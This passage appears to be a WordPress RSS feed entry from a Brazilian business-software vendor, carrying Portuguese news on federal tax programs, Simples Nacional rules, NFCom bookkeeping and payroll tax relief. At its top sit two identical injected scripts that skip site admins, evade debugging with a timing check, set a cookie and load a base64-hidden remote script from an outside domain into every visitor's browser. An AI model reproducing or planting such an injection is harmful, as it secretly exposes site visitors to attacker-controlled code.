<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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			</item>
		<item>
		<title>Boletim Sibrax 16/12</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 16 Dec 2023 09:00:07 +0000</pubDate>
				<category><![CDATA[Admin Clinica]]></category>
		<category><![CDATA[Administrador de Condomínios]]></category>
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		<category><![CDATA[Gerenciador de Backups]]></category>
		<category><![CDATA[Importador de NF-es de Entrada]]></category>
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					<description><![CDATA[<p>Receita Federal regulamenta fase piloto do Programa Confia A Receita Federal regulamentou hoje (14/12) o funcionamento da fase piloto do Programa de Conformidade Cooperativa Fiscal (Confia.) A medida está prevista na Portaria RFB nº 387/2023, publicada no Diário Oficial da União e está alinhada à visão institucional de uma administração tributária voltada à conformidade e à [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<h1>Receita Federal regulamenta fase piloto do Programa Confia</h1>
<div class="itemContent">
<p>
	A Receita Federal regulamentou hoje (14/12) o funcionamento da fase piloto do Programa de Conformidade Cooperativa Fiscal (Confia.) A medida está prevista na Portaria RFB nº 387/2023, publicada no Diário Oficial da União e está alinhada à visão institucional de uma administração tributária voltada à conformidade e à orientação ao contribuinte.</p>
<p>
	O programa Confia tem como objetivo estabelecer o relacionamento cooperativo, fundamentado na transparência e na confiança mútua, entre o Fisco e os contribuintes participantes.</p>
<p>
	Nessa nova fase de implantação do programa os principais objetivos são o aperfeiçoamento do relacionamento cooperativo, fundamentado na confiança mútua entre a RFB e os contribuintes selecionados, bem como o aprimoramento dos processos de trabalho em formato cooperativo.</p>
<p>
	O piloto expandirá a participação de grandes empresas que estejam sujeitas ao acompanhamento especial da RFB, observados os critérios de Receita Bruta maior ou igual a R$ 2.000.000.000,00 (dois bilhões de reais) e ter declarado débito total mínimo de R$ 100.000.000,00 (cem milhões de reais), no ano-calendário de 2022, o que deve abranger um universo de cerca de 1.100 empresas.</p>
<p>
	Evento marca lançamento do piloto</p>
<p>
	A Receita Federal realizou hoje (14/12) em São Paulo, evento de lançamento do piloto do Confia. A cerimônia aconteceu no Centro das Indústrias do Estado de São Paulo (Ciesp) e contou com a presença de representantes das empresas integrantes do Fórum de Diálogo Confia e de empresas interessadas em aderir ao Programa Confia, além de membros da academia e advogados tributaristas.</p>
<p>
	O secretário da Receita Federal, Robinson Barreirinhas, que participou por videoconferência da abertura, salientou que o Confia representa todo um esforço de mudança no relacionamento da Receita Federal com os contribuintes brasileiros. “O antagonismo está absolutamente ultrapassado, não funciona. A Receita moderna é aquela que orienta o bom contribuinte, que traz ele para próximo de si, que permite que o contribuinte confie no fisco para que ele possa se abrir sem receio dessa abertura e desse diálogo”, disse.</p>
<p>
	Clique aqui para mais informações sobre o Programa Confia</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Receita Federal
                        </p>
</p></div>
<hr>
<h1>Comitê Gestor do Simples Nacional atualiza dispositivos da Resolução CGSN nº 140, de 2018 &#8211; 15/12/2023</h1>
<div class="itemContent">
<p>
	O Comitê Gestor do Simples Nacional (CGSN) aprovou, em reunião presencial realizada na manhã de quarta-feira (13/12), a Resolução CGSN nº 174, de 12 de dezembro de 2023, que realiza as seguintes alterações na Resolução CGSN nº 140, de 2018:</p>
<p>
	Atualização da regra de retenção na fonte de Imposto Sobre Serviços de Qualquer Natureza &#8211; ISS de optantes pelo Simples Nacional, prevista no art. 27, com o intuito de compatibilizar o texto atualmente em vigor às Leis Complementares nº 116, de 31 de julho de 2003, que dispõe sobre o ISS, e nº 123, de 14 de dezembro de 2006, que institui o Estatuto Nacional da ME e da EPP.</p>
<p>
	Atualização dos percentuais de multas aplicáveis às penalidades decorrentes do descumprimento de obrigações tributárias principais no âmbito do Simples Nacional em decorrência da publicação da Lei nº 14.689, de 20 de setembro de 2023. Assim como foram reproduzidos os conceitos de sonegação, fraude, conluio e reincidência previstos na Lei nº 4.502, de 30 de novembro de 1964, para a melhor compreensão do intérprete.</p>
<p>
	Alteração do prazo para o pagamento do Documento de Arrecadação do eSocial &#8211; DAE do Microempreendedor Individual &#8211; MEI, do dia 7 (sete) para o dia 20 (vinte) do mês subsequente àquele em que os valores são devidos. Quando não houver expediente bancário no dia 20, o recolhimento deverá ocorrer até o dia útil imediatamente anterior.</p>
<p>
	Tal medida tem vigência a partir de 1º de abril de 2024 e é justificado pela entrada em vigor do novo Fundo de Garantia do Tempo de Serviço &#8211; FGTS digital.</p>
<p>
	Revogação do art. 97, que tratava da extinta Declaração Anual do Simples Nacional (DASN). Observação: Não confundir essa declaração com a Declaração Anual Simplificada para o MEI (DASN-Simei), que continua em vigor.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal Simples Nacional
                        </p>
</p></div>
<hr>
<h1>EFD Contribuições  Nota Fiscal Fatura de Serviços de Comunicação Eletrônica &#8211; NFCOM, MODELO 62.</h1>
<div class="itemContent">
<p>
	O ajuste SINIEF nº 7, de 7 de abril de 2022, instituiu a Nota Fiscal Fatura de Serviços de Comunicação Eletrônica &#8211; NFCom, modelo 62, e obriga a utilização pelos contribuintes do ICMS a partir 1º julho de 2024, em substituição aos seguintes documentos:</p>
<p>
	I &#8211; Nota Fiscal de Serviço de Comunicação, modelo 21; e</p>
<p>
	II &#8211; Nota Fiscal de Serviço de Telecomunicação, modelo 22.</p>
<p>
	Face a tal ajuste, a Receita Federal orienta aqueles contribuintes que anteciparem a emissão da NFCom para antes de 1º julho de 2024, que adotem o seguinte procedimento excepcional à escrituração do modelo 62, na EFD Contribuições, até que se publique nova versão do Programa Gerador de Escrituração – PGE:</p>
<p>
	Escrituração da prestação de serviço (Documento de Saída):</p>
<p>
	D600 &#8211; Consolidação da Prestação de Serviços &#8211; Notas de Serviço de Comunicação (Código 21) e de Serviço de Telecomunicação (Código 22)</p>
<p>
	Para os fatos geradores ocorridos até publicação de nova versão do Programa Gerador de Escrituração – PGE, da EFD Contribuições, a escrituração das receitas auferidas mediante a emissão de NFCom (modelo 62) se fará de forma consolidada no registro D600, informando no campo 02 (COD_MOD) o código “55”, mesmo se tratando de receita decorrente de emissão de NFCom.</p>
<p>
	Escrituração de aquisições de serviço (Documento de Entrada)</p>
<p>
	Registro D500 &#8211; Nota Fiscal de Serviço de Comunicação (Código 21) e Nota Fiscal de Serviço de Telecomunicação (Código 22).</p>
<p>
	Para os fatos geradores ocorridos até publicação de nova versão do Programa Gerador de Escrituração – PGE, da EFD Contribuições, a escrituração das aquisições de serviço de comunicação eletrônica auferidas mediante a emissão de NFCom se fará no registro D500, informando no campo 05 (COD_MOD) o código “55”, mesmo se tratando de aquisição decorrente de emissão de NFCom.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SPED
                        </p>
</p></div>
<hr>
<h1>Isenção para carro, bebida e perfume em áreas de livre comércio de Roraima avança </h1>
<div class="itemContent">
<p>
	A Comissão de Desenvolvimento Regional e Turismo (CDR) aprovou na terça-feira (12) projeto que isenta carros, perfumes e bebidas alcoólicas do pagamento dos Impostos de Importação e sobre Produtos Industrializados (IPI) nas áreas de livre comércio de Boa Vista e de Bonfim (RR). A medida também poderá beneficiar as áreas de livre comércio de Macapá e Santana (AP). Do senador Dr. Hiran (PP-RR), o PL 4.622/2023 foi relatado pelo senador Mecias de Jesus (Republicanos-RR) e segue para decisão final da Comissão de Assuntos Econômicos (CAE). </p>
<p>
	O projeto altera a Lei 8.256, de 1991, que instituiu essas áreas de livre comércio (ALCBv e ALCMS). Com a exclusão de impostos de automóveis de passageiros, bebidas alcoólicas e perfumes, apenas armas, munições e fumo e seus derivados seguirão sem isenção ao entrarem nessas áreas.</p>
<p>
	De acordo com o autor, o comércio de bebidas, perfumes e automóveis pode, de fato, ampliar as oportunidades de geração de emprego e renda nas áreas de livre comércio do estado, especialmente tendo em vista a distância que o separa do centro econômico do país e sua relativa proximidade da Venezuela e da Guiana.</p>
<p>
	—Nós temos áreas de tributação diferenciada tanto do lado da Venezuela quanto do lado da Guiana. As pessoas vão à área de livre comércio lá do Bonfim e compram uma série de produtos e mercadorias, mas quando querem comprar um perfume elas compram na Guiana ou vão para a Zona Franca de Manaus. A mesma coisa em relação a automóveis — disse  Dr. Hiran durante a reunião.</p>
<p>
	Mecias concordou com os argumentos de Dr. Hiran e acrescenta que o projeto favorece a preservação da Amazônia. Ele apresentou parecer favorável na CDR e afirmou que a medida também beneficiará a área de livre comércio de Macapá e Santana, porque as regras de criação dessa área estão vinculadas à Lei que beneficiou Boa Vista e de Bonfim.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Transporte de combustível em tanque extra não terá adicional de periculosidade  </h1>
<div class="itemContent">
<p>
	Em sessão nesta quinta-feira (14), o Congresso Nacional rejeitou veto total ao Projeto de Lei 1.949/2021, que prevê exclusão do pagamento de adicional de periculosidade a motoristas de veículos com tanque suplementar de combustível (VET 34/2023). A matéria será encaminhada à promulgação.</p>
<p>
	De autoria da Câmara dos Deputados, o projeto recebeu parecer favorável do relator na Comissão de Serviços de Infraestrutura (CI), senador Carlos Viana (Podemos-MG). Em outubro, a matéria foi aprovada em Plenário e seguiu para sanção presidencial.</p>
<p>
	O projeto — que acresce dispositivo à Consolidação das Leis do Trabalho (CLT — Decreto-Lei 5.452, de 1943) — exclui do pagamento de adicional de periculosidade feito a motoristas o transporte de combustível, em tanques originais de fábrica e suplementares, para uso do próprio veículo de carga, de transporte coletivo de passageiros, de máquinas e de equipamentos.</p>
<p>
	Ao vetar o projeto, o Executivo alegou que a proposição legislativa contraria o interesse público, pois estabeleceria, em lei, hipóteses de descaracterização de periculosidade das atividades e operações sem indicar, de maneira objetiva, critérios e parâmetros para as quantidades de inflamáveis líquidos ou gasosos liquefeitos que possam ser transportadas de forma a garantir a proteção e a segurança dos trabalhadores do setor de transporte de cargas e de passageiros, em desacordo com o disposto na legislação trabalhista.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Vai à CAE fim de ICMS em bandeiras tarifárias de energia</h1>
<div class="itemContent">
<p>
	A Comissão de Infraestrutura (CI) aprovou na terça-feira (12) projeto que retira a cobrança do ICMS sobre adicionais na conta de energia elétrica quando há bandeira tarifária. O Projeto de Lei Complementar (PLP) 111/2022, do deputado federal Fabio Garcia Câmara, recebeu parecer favorável do relator, senador Eduardo Braga (MDB-AM), com uma emenda de redação. Agora, o texto será analisado pela Comissão de Assuntos Econômicos (CAE).</p>
<p>
	Segundo Braga, as bandeiras tarifárias cobram um valor adicional do consumidor de energia elétrica em razão de situações que dificultam a normalidade do serviço, como chuvas baixas ou deficiência nas obras do setor. Na avaliação do senador, não é justo cobrar imposto nessas situações:</p>
<p>
	— Estamos tributando a falta de planejamento, a escassez de chuvas e o atraso de obras. E, com isso, oneramos milhares de famílias brasileiras que não deram causa a esses fatos (&#8230;) Cumpre esclarecer que o projeto não interfere na arrecadação planejada de tributos do governo federal e dos governos estaduais e municipais, já que estes continuarão cobrando seus tributos sobre a tarifa regular de energia.</p>
<p>
	Bandeiras</p>
<p>
	Atualmente, três bandeiras tarifárias determinam a cobrança dessas taxas. A primeira, de cor verde, sinaliza condições de produção elétrica favoráveis, ou seja, sem cobrança extra.</p>
<p>
	Já as outras duas bandeiras, amarela e vermelha, são fixadas em situações de escassez nas hidrelétricas e determinam aumento do valor cobrado. Nesse cenário, as termelétricas são ativadas. A operação delas é mais cara e, por isso, os custos não são cobertos pelas tarifas regulares estabelecidas pela Agência Nacional de Energia Elétrica (Aneel). Nestes casos, o custo é repassado aos contribuintes.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Congresso derruba veto à desoneração da folha de pagamento para 17 setores da economia </h1>
<div class="itemContent">
<p>
	O Congresso Nacional rejeitou o veto do presidente da República, Luiz Inácio Lula da Silva, ao projeto de lei que prorroga a desoneração da folha de pagamento para 17 setores da economia. O texto, que havia sido vetado integralmente, será  agora promulgado como lei.</p>
<p>
	O benefício acabaria em 31 de dezembro de 2023 e será prorrogado até 31 de dezembro de 2027, como previa o Projeto de Lei 334/23. A renúncia com a desoneração no setor privado é estimada pelo Ministério da Fazenda em cerca de R$ 9,4 bilhões.</p>
<p>
	Com a desoneração, as empresas beneficiadas podem optar pelo pagamento das contribuições sociais sobre a receita bruta com alíquotas de 1% a 4,5% em vez de pagar 20% de INSS relativo aos empregados pela Consolidação das Leis do Trabalho (CLT).</p>
<p>
	No Senado Federal, foram 60 votos pela rejeição do veto e 13 a favor. Na Câmara dos Deputados, houve 78 votos a favor do veto e 378 por sua rejeição.</p>
<p>
	Municípios<br />
	Outro ponto do projeto da desoneração que vai virar lei diminui, reduz de 20% para 8% a alíquota da contribuição previdenciária sobre a folha dos municípios com população de até 142.632 habitantes.</p>
<p>
	A medida beneficia 5.300 municípios, de acordo com a Confederação Nacional dos Municípios.</p>
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                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
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<hr>
<h1>Comissão mista aprova relatório da MP que altera a tributação de incentivos fiscais</h1>
<div class="itemContent">
<p>
	A comissão mista da medida provisória que regulamenta a isenção tributária para a subvenção de investimentos (MP 1185/23) aprovou nesta quinta-feira (14) o relatório do deputado Luiz Fernando Faria (PSD-MG). Ele foi favorável à iniciativa, que tem o potencial de aumentar em R$ 35 bilhões a arrecadação do governo em 2024.</p>
<p>
	A MP permite a tributação, com impostos federais, das subvenções do ICMS concedidas pelos estados às empresas. Pela proposta, os créditos apurados a partir de subvenções para estímulo à implantação ou expansão de empresas poderão ser isentos de tributação. Os demais deverão ser incluídos na base de cálculo do Imposto de Renda da Pessoa Jurídica (IRPJ) e da Contribuição Social sobre o Lucro Líquido (CSLL).</p>
<p>
	O parecer do deputado mantém grande parte da versão original, mas estende os benefícios da medida provisória para investimentos no comércio, dentre outras mudanças. Após o aval do colegiado, a proposta seguirá para análise do Plenário da Câmara.</p>
<p>
	Antes da votação, alguns parlamentares pediram a suspensão da reunião com a justificativa de que uma sessão do Congresso ocorria em simultâneo à do colegiado, o que, segundo eles, estava em desacordo com o regimento da Casa. No entanto, consultado pelo presidente do colegiado, senador Rogério Carvalho, o presidente de Congresso, Rodrigo Pacheco, decidiu pela continuidade da reunião, como ocorre nas deliberações da Comissão Mista de Orçamento.</p>
<p>
	Considerado um dos pontos mais polêmicos do relatório, a retroatividade da cobrança do imposto devido pelas empresas foi mantida pelo relator, ainda que seja previsto na MP um desconto para as empresas que aderirem a autorregularização.</p>
<p>
	Para o deputado Joaquim Passarinho (PL-PA), esse trecho do texto pode aumentar a judicialização. “Acho que o governo pensando em arrecadar coloca essa retroatividade, mas a discussão não é sobre se o abatimento é de 80%, 60% ou 40%, a discussão é sobre se isso é devido ou não. Na nossa opinião, as empresas não devem e para reconhecer o abatimento você teria de reconhecer a dívida”, argumentou o parlamentar.</p>
<p>
	Renúncia fiscal<br />
	Por sua vez, o deputado Merlong Solano (PT-PI) disse que a medida promove revisão das renúncias tributárias que, segundo ele, permite a &#8220;poucas empresas se livrarem das obrigações cidadãs de pagar tributo&#8221;.</p>
<p>
	&#8220;Esta correção é uma  exigência da Constituição Federal que, por meio da Emenda Constitucional 109, determina a progressiva redução dos incentivos fiscais estabelecendo que até 2028 nós cheguemos a no máximo a 2% do PIB em renúncia, o que atualmente gira em torno de 4,5% do PIB&#8221;, defendeu o deputado.</p>
<p>
	Contrário à medida, o deputado Luiz Carlos Hauly (Podemos-PR), reforçou que a MP vai gerar judicialização, uma vez que, conforme ele, a regra de tributação de incentivos fiscais que se pretende alterar é de competência dos estados. &#8220;A renúncia fiscal é dos estados, não há nenhuma renúncia fiscal até aqui do governo federal, o que existe é uma vontade do governo federal antiga de querer tributar algo que não é tributável&#8221;, disse.</p>
<p>
	Veja a seguir as principais medidas do projeto de lei de conversão:</p>
<p>
	&#8211; Fixação de prazo de até 30 dias para deliberação sobre a habilitação da empresa perante a Receita Federal, considerando-se deferido o pedido após esse prazo sem que a administração tributária se manifeste. “Na MP original, não se definia este prazo. O empresário aderia e não tinha um prazo para a Receita dizer se estava apto ou não”, explicou Luiz Fernando Faria.</p>
<p>
	&#8211; Exclusão da data de 31 de dezembro de 2028 como limite para a apuração do crédito fiscal pretendido, visto que a proposta pretende alterar a forma de tributação das subvenções para investimento, ao optar pela concessão de crédito fiscal em substituição à dedução da base de cálculo de tributos federais, não havendo razão para que essa nova sistemática possua vigência temporária.</p>
<p>
	&#8211; Exclusão da exigência de que a apuração do crédito fiscal só poderá ser realizada após a conclusão da implantação ou expansão do empreendimento econômico, pois esse requisito adiaria de forma considerável o aproveitamento do benefício pelas empresas, com repercussões relevantes sobre seu fluxo de caixa. “A empresa antes tinha que terminar um empreendimento para obter o crédito. Agora o crédito pode ser obtido ao mesmo passo do empreendimento”, comentou o relator.</p>
<p>
	&#8211; Inclusão das receitas de subvenção de investimento relacionadas às despesas de locação e arrendamento de bens de capital entre aquelas que poderão ser computadas na apuração do crédito fiscal, uma vez que o benefício pretendido pela Medida Provisória deve ser neutro em relação às decisões operacionais das empresas, quer optem pela aquisição ou pela locação de ativos. “Quem fizer o empreendimento poderá locar o espaço em que o empreendimento será instalado”, afirmou.</p>
<p>
	&#8211; Simplificação do processo de aproveitamento do crédito fiscal, ao determinar que o pedido de ressarcimento e a declaração de compensação serão recepcionados após o reconhecimento das receitas de subvenção para fins de tributação — não mais a partir do ano-calendário seguinte. “Na MP original, esperava-se o empreendimento acabar e a compensação era no ano seguinte. Agora não, pode ser compensado no próprio ano”, disse o deputado.</p>
<p>
	&#8211; Redução do prazo de ressarcimento do crédito fiscal não compensado, de 48 para 24 meses.</p>
<p>
	&#8211; Inclusão da possibilidade de transação tributária para débitos tributários relativos às subvenções atualmente concedidas, para prevenção e redução do litígio sobre o tema e à transição para o novo tratamento tributário para essas subvenções;</p>
<p>
	&#8211; Esclarecimento de que a proposição não impedirá a fruição de incentivos fiscais federais concedidos por lei específica, especialmente os relativos às empresas instaladas nas regiões da Sudam e Sudene. “Deputados e senadores estavam preocupados que a MP não esclarecia que os benefícios da Sudene e da Sudam estavam preservados”, comentou Luiz Fernando Faria.</p>
<p>
	&#8211; Alteração de regras que disciplinam a apuração de juros sobre capital próprio, para aprimorar o tratamento dado a transações entre partes relacionadas. “A versão original era muito mais dura e conseguimos afrouxar. O novo texto foi bem aceito por todos os segmentos  econômicos, financeiros e empresariais”, destacou o relator.</p>
<p>
	&#8211; Adequação do tratamento tributário dado ao transporte regular rodoviário de passageiros para aproximá-lo do tratamento tributário dado pela legislação atual ao transporte aéreo regular de passageiros.</p>
<p>
	&#8211; Ajustes na legislação relativa à tributação das pessoas físicas residentes no País em relação aos lucros de entidades controladas no exterior; à tributação do reinvestimento realizado por Fundos de Investimento em Participação (FIPs); e à regra para desenquadramento da carteira de fundos de investimentos.</p>
<p>
	&#8211; Revogação de dispositivo que determina, para fins de apuração do lucro da exploração, a exclusão das subvenções para investimento, inclusive mediante isenção e redução de impostos, concedidas como estímulo à implantação ou expansão de empreendimentos econômicos, e as doações, feitas pelo poder público.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
</p></div>
<hr>
<h1>Câmara aprova medida provisória da tributação dos incentivos fiscais  </h1>
<div class="itemContent">
<p>
	A Câmara dos Deputados aprovou nesta sexta-feira (15) a Medida Provisória 1185/23, que muda a forma pela qual as empresas tratarão recursos de subvenções concedidas pelos entes federativos quando de sua contabilização para diminuir o pagamento de tributos federais. A matéria será enviada ao Senado.</p>
<p>
	A intenção do governo é acabar com a isenção de incidência de tributos federais sobre subvenções destinadas a custeio, mantendo apenas a possibilidade de apuração de um crédito fiscal relativo a subvenções para investimento. As novas normas terão efeito apenas a partir de 1º de janeiro de 2024.</p>
<p>
	A matéria foi aprovado na forma do substitutivo do relator, deputado Luiz Fernando Faria (PSD-MG), que amplia descontos para as empresas pagarem o passivo em razão de contenciosos envolvendo o assunto, para o qual existe decisão do Superior Tribunal de Justiça (STJ) que vincula a dedução a casos previstos na Lei Complementar 160/17 e na Lei 12.973/14, situações modificadas pela MP.</p>
<p>
	O relator também inclui restrições para o pagamento aos acionistas de juros sobre capital próprio, um mecanismo criado na década de 90 que pretendia estimular os investimentos por meio de aporte de capital, mas tem sido usado pelas empresas para pagar menos tributo sem esse objetivo de investir.</p>
<p>
	Como consequência das mudanças pretendidas pela MP, haverá novamente a diferenciação entre subvenção para custeio e para investimentos, limitando o crédito fiscal apenas a essa última. A regra havia mudado com a lei complementar, mas divergências de interpretação judicializaram o tema.</p>
<p>
	Assim, as subvenções concedidas pela União, por estados ou municípios, como aquelas em relação ao ICMS, deverão entrar na base de cálculo de tributos como o Imposto sobre a Renda da Pessoa Jurídica (IRPJ), a Contribuição Social sobre o Lucro Líquido (CSLL), o PIS e a Cofins.</p>
<p>
	Na nova sistemática, quando se tratar de uma subvenção para investimentos, a empresa poderá apurar um crédito fiscal a ser usado para compensar tributos federais ou para pedir ressarcimento em dinheiro.</p>
<p>
	A sistemática atual beneficia grandes companhias que pagam o imposto com base no lucro real, concentrando 95% do benefício em apenas 393 empresas, que pagam menos impostos tanto para os estados quanto para o governo federal.</p>
<p>
	Dados do Ministério da Fazenda indicam impacto acumulado projetado de R$ 250 bilhões em 2024, dos quais R$ 35 bi somente no próximo ano.</p>
<p>
	Contrapartida<br />
	Para controlar o tipo de investimento, a MP determina o cumprimento de requisitos de habilitação: ato de concessão do benefício editado anteriormente à data de implantação ou expansão do empreendimento; e ato que estabeleça, expressamente, condições e contrapartidas relativas ao empreendimento.</p>
<p>
	Segundo o parecer, não apenas a produção de bens e serviços serão beneficiados, mas também o comércio deles, aplicando-se a empreendimento novo no território ofertante da subvenção ou a expansão de um já existente.</p>
<p>
	A habilitação será indeferida pela Receita Federal se a empresa não atender aos requisitos ou cancelada se deixar de atendê-los. Por outro lado, se não houver resposta sobre a habilitação em 30 dias, o pedido será considerado aprovado.</p>
<p>
	Sudam e Sudene<br />
	No entanto, o texto deixa explícito que a mudança não impede o uso de incentivos fiscais concedidos por lei específica relativos a tributos federais, como os de projetos de desenvolvimento regional nas áreas da Superintendência de Desenvolvimento da Amazônia (Sudam) e da Superintendência de Desenvolvimento do Nordeste (Sudene) ou aqueles ligados à Zona Franca de Manaus (ZFM).</p>
<p>
	Crédito fiscal<br />
	Para apurar o crédito fiscal, calculado com a aplicação da alíquota de 25% relativa ao IRPJ sobre as receitas de subvenção, a empresa deverá seguir algumas restrições.</p>
<p>
	As receitas deverão estar relacionadas à implantação ou à expansão do empreendimento econômico e ser reconhecidas após a conclusão da implantação ou expansão do negócio e depois do pedido de habilitação para obter o crédito fiscal.</p>
<p>
	Entretanto, não poderão entrar as receitas:</p>
<p>
	&#8211; que superem a subvenção obtida;</p>
<p>
	&#8211; de incentivos do IRPJ; e</p>
<p>
	&#8211; o próprio crédito fiscal calculado;</p>
<p>
	Compensação<br />
	Quando quiser compensar o crédito assim obtido com impostos a pagar junto à Receita Federal, a empresa deverá entrar com um pedido de compensação ou ressarcimento após o reconhecimento das receitas da subvenção.</p>
<p>
	No caso de ressarcimento, a Receita deverá realizá-lo no 24º mês do pedido. Já o valor do crédito fiscal não será computado na base de cálculo do IRPJ, da CSLL, do PIS e da Cofins.</p>
<p>
	Reserva de lucros<br />
	Na sistemática vigente, as empresas podem registrar os valores da subvenção obtida em uma reserva de lucros especial chamada de reserva de incentivos fiscais, que pode ser utilizada para aumentar o capital social da empresa ou absorver prejuízos.</p>
<p>
	Com a MP, esse estoque de valores da reserva passará a ser tributado se a empresa aumentar o capital social e posteriormente reduzi-lo com restituição de capital aos sócios. Outro caso de tributação será a redução artificial do capital social nos cinco anos anteriores à data de recebimento da subvenção, com posterior capitalização com o valor da subvenção recebida.</p>
<p>
	Lucro da exploração<br />
	Para determinadas atividades empresariais incentivadas pela legislação (Decreto-lei 1.598/77), o texto acaba com a permissão para excluir da base de cálculo do IRPJ as subvenções para investimento, inclusive por meio de isenção e redução de impostos, concedidas como estímulo à implantação ou expansão de empreendimentos econômicos.</p>
<p>
	Passivo acumulado<br />
	O texto de Luiz Fernando Faria traz ainda regras para a regularização de passivos relacionados ao assunto, seja no âmbito administrativo ou judicial.</p>
<p>
	Se o contribuinte aderir à transação tributária especial proposta pelo Ministério da Fazenda, estará reconhecendo as normas da futura lei, especialmente quanto às condições para habilitação e aos limites de aproveitamento do crédito fiscal, sob pena de rescisão da transação. Nesse caso, os débitos voltariam para a esfera de questionamento (administrativa ou judicial).</p>
<p>
	No caso de créditos inscritos em dívida ativa ou objeto de ação judicial, de recurso administrativo ou de embargos à execução fiscal, a transação contemplará os processos pendentes de julgamento definitivo até o dia 31 de maio de 2024.</p>
<p>
	Quem aderir e decidir pagar em dinheiro com maior desconto (80 % sobre a dívida consolidada), poderá fazê-lo em 12 parcelas mensais.</p>
<p>
	Um parcelamento mais longo será possível com pagamento de 5% do consolidado, sem reduções e em cinco vezes mensais, e o restante dividido em até 60 parcelas mensais, com redução de 50% do valor remanescente da dívida.</p>
<p>
	Caso opte por parcelar o valor remanescente em até 84 parcelas mensais, a redução do valor remanescente será de 35%.</p>
<p>
	Débitos não lançados<br />
	Para os débitos tributários apurados e ainda não lançados, a MP permite o uso da autorregularização pelo contribuinte antes do lançamento de ofício pela Receita.</p>
<p>
	As condições de descontos e prazos são as mesmas para a dívida em contestação e a autorregularização implica confissão irrevogável e irretratável dos débitos indicados.</p>
<p>
	O não pagamento por meio da autorregularização ou o inadimplemento de qualquer das parcelas previstas resultará na cobrança do crédito tributário pelo seu valor originário acrescido dos acréscimos legais, abatidos eventuais pagamentos realizados.</p>
<p>
	Juros sobre capital<br />
	Os juros sobre capital próprio (JCP) são uma forma de distribuição de lucro bastante comum entre algumas empresas de capital aberto, pois a legislação permite considerá-los como despesa dedutível da base de cálculo do IRPJ, diminuindo o valor a pagar ao Fisco.</p>
<p>
	Por meio do Projeto de Lei 4258/23, o governo pretendia acabar com seu uso. Um meio termo proposto pelo relator em seu parecer para a MP 1185/23 prevê a restrição dos mecanismos a serem usados para o pagamento dos JCP.</p>
<p>
	Com vigência a partir de 1º de janeiro de 2024, o cálculo desses juros poderá ser feito apenas sobre o capital social integralizado, ou seja, efetivamente aportado na empresa.</p>
<p>
	Quanto às reservas de capital, que são uma espécie de “poupança” mantida pela empresa para uso em situações de emergência, somente poderão ser usadas para calcular os JCP aquelas reservas constituídas pelo ágio entre o preço de emissão das ações e o valor nominal ou aquelas formadas na constituição da companhia se o valor nominal não for fixado.</p>
<p>
	Aumento de patrimônio líquido que não envolva o ingresso efetivo de recursos na pessoa jurídica por meio de atos societários entre partes dependentes também não poderá ser computado na distribuição de juros sobre capital.</p>
<p>
